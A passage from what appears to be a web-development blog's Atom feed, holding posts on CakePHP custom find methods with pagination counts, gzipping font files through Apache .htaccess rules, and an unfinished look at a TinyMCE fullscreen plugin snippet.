style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; parent&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursive&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Using custom method&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;{$methodName}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursive&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Note that there may still be some issues with this method, especially if the
$type parameter is not a string. I&#39;m always using the &lt;code&gt;find()&lt;/code&gt; method with a
string as first argument but maybe you&#39;re not, or the core still use the old
implementation.)&lt;/p&gt;
&lt;p&gt;Anyway, what it does is testing if a &lt;code&gt;__findSomething()&lt;/code&gt; method is defined, and
if it is it returns its results, otherwise it just delegates to the default
&lt;code&gt;find()&lt;/code&gt; method.&lt;/p&gt;
&lt;h2&gt;Using custom find methods in paginate&lt;/h2&gt;
&lt;p&gt;So far, so good. But now how do you tell cake to use this custom find when
paginating stuff? The first part is easy (but required some digging into the
core code). It appears that if the zero key of the &lt;code&gt;$paginate&lt;/code&gt; var is set to a
string, this will be used as the find type.&lt;/p&gt;
&lt;p&gt;One easy way to do this is calling &lt;code&gt;array_unshift($this-&amp;gt;paginate, &#39;published&#39;)&lt;/code&gt;
just before the &lt;code&gt;$this-&amp;gt;paginate(&#39;Post&#39;)&lt;/code&gt; call in the controller.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Getting the paginated post list&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array_unshift&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;paginate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;published&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$itemList&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;paginate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;model&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;itemList&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$itemList&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&#39;ll notice that your custom find method is used for the pagination. What you
may not notice at first sight is that the total count of results is not correct.
Cake still uses the default &lt;code&gt;find(&#39;count&#39;)&lt;/code&gt; without using the custom method.&lt;/p&gt;
&lt;p&gt;We will now need to create a &lt;code&gt;__paginateCountPublished()&lt;/code&gt; method in our &lt;code&gt;Post&lt;/code&gt;
model that will return the total count of posts to paginate.&lt;/p&gt;
&lt;p&gt;Forcing Cake to do what we want is a little trickier this time. We will need to
create a &lt;code&gt;paginateCount()&lt;/code&gt; method in our &lt;code&gt;AppModel&lt;/code&gt;. If such a method exists for
a given model, Cake will use it instead of the default &lt;code&gt;find(&#39;count&#39;)&lt;/code&gt; when
paginating results. By creating it in the &lt;code&gt;AppModel&lt;/code&gt; we make sure that all the
paginate counts use it.&lt;/p&gt;
&lt;p&gt;This method takes a third argument called $extra which will contain our custom
find name. If set, we will return the custom paginate count. If not set, we
revert to the default way of calculating the total count (copy/pasted from the
core).&lt;/p&gt;
&lt;p&gt;So, here the &lt;code&gt;paginateCount()&lt;/code&gt; method to add to your &lt;code&gt;AppModel&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; paginateCount&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$conditions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(), &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursive&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$extra&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // If no custom find specified, we return the default count&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$extra&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;type&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $parameters&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; compact&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;conditions&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursive&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;recursive&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;          $parameters&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;recursive&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $recursive&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;count&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array_merge&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$parameters&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$extra&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We return the __paginateCountSomething&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $methodName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;__paginateCount&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ucfirst&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$extra&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;type&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;{$methodName}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$conditions&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursive&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$extra&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And don&#39;t forget to create a
&lt;code&gt;__paginateCountPublished($conditions = array(), $recursive = null, $extra = array())&lt;/code&gt;
method in your &lt;code&gt;Post&lt;/code&gt; model&lt;/p&gt;
&lt;h2&gt;And you&#39;re done&lt;/h2&gt;
&lt;p&gt;You can now do some &lt;code&gt;$this-&amp;gt;Post-&amp;gt;find(&#39;published&#39;)&lt;/code&gt; magic in your controller.
And don&#39;t forget the &lt;code&gt;array_unshift()&lt;/code&gt; tip to use the custom find in a paginate
call, it have to be the first key.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Gzipping your font files</title>
    <link href="https://blog.pixelastic.com/2010/05/11/gzipping-your-font-files/"/>
    <updated>2010-05-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/11/gzipping-your-font-files</id>
    <content type="html">&lt;p&gt;When using &lt;code&gt;@font-face&lt;/code&gt; to display fonts, you have to create a whole bunch of
font files on your server to accomodate the quirks of the various browsers.&lt;/p&gt;
&lt;p&gt;If you do things right (or follow the automatic kit build of FontSquirell), you
should get a &lt;code&gt;.eot&lt;/code&gt; file for IE, a &lt;code&gt;.ttf&lt;/code&gt;/&lt;code&gt;.otf&lt;/code&gt; file for current browsers, a
&lt;code&gt;.svg&lt;/code&gt; file for Chrome and the iPhone/iPad and a &lt;code&gt;.woff&lt;/code&gt; file for the next
browser generation.&lt;/p&gt;
&lt;p&gt;Unfortunatly, you&#39;ll have to cope with that because there isn&#39;t much we can do
about it at the moment.&lt;/p&gt;
&lt;p&gt;But you can compress those files to make the font rendering faster. Some
browsers even download all the fonts even if they will only use one, so compress
them!&lt;/p&gt;
&lt;p&gt;The easiest way is to configure your server to automatically gzip them. You
should already have done that for your css and js file so it is just a matter of
adding new types.&lt;/p&gt;
&lt;p&gt;As far as I know &lt;code&gt;.otf&lt;/code&gt; and &lt;code&gt;.ttf&lt;/code&gt; files don&#39;t have registered mimetype, so I
had to create a dummy one for them in my .htaccess:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AddType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; x-font/otf    .otf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AddType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; x-font/ttf    .ttf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AddType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; x-font/eot    .eot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also added the &lt;code&gt;.eot&lt;/code&gt; because even if an &lt;code&gt;application/vnd.ms-fontobject&lt;/code&gt;
mimetype is registered for this obscure microsoft format, when I tried to add a
deflate rule on it, my Apache crashed so I took the safest way of defining a
custom mimetype.&lt;/p&gt;
&lt;p&gt;I prefixed them with an &lt;code&gt;x-&lt;/code&gt; to make sure that it won&#39;t mess with existing
mimetypes.&lt;/p&gt;
&lt;p&gt;The second part was to add gziping to those&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AddOutputFilterByType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; DEFLATE x-font/otf x-font/ttf x-font/eot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SVG files are in fact xml files, and you should already have them gzipped, so no
need to add them here.&lt;/p&gt;
&lt;p&gt;I haven&#39;t included &lt;code&gt;.woff&lt;/code&gt; files because &lt;code&gt;.woff&lt;/code&gt; files are already compressed
files, so you don&#39;t need to gzip them.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Give your variables meaningful names</title>
    <link href="https://blog.pixelastic.com/2010/05/11/give-your-variables-meaningful-names/"/>
    <updated>2010-05-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/11/give-your-variables-meaningful-names</id>
    <content type="html">&lt;p&gt;I just realized that the fullscreen plugin I was using with tinyMCE (v3.3.5) was
throwing an error in my Firebug panel everytime I closed it.&lt;/p&gt;
&lt;p&gt;As I wrote some tinyMCE plugins myself I thought I may have done something that
was causing this. So I opened up the javascript file and checked for the error
line:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; win&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;de&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;documentElement&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_is_enabled&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_new_window&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    closeFullscreen&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Call to close in new window&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;win&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;win&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;resize&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;resizeFunc&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  tinyMCE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getParam&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fullscreen_editor_id&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;setContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{format : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;raw&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, {format : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;raw&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  tinyMCE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;ed&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;                  DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mce_fullscreen_container&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
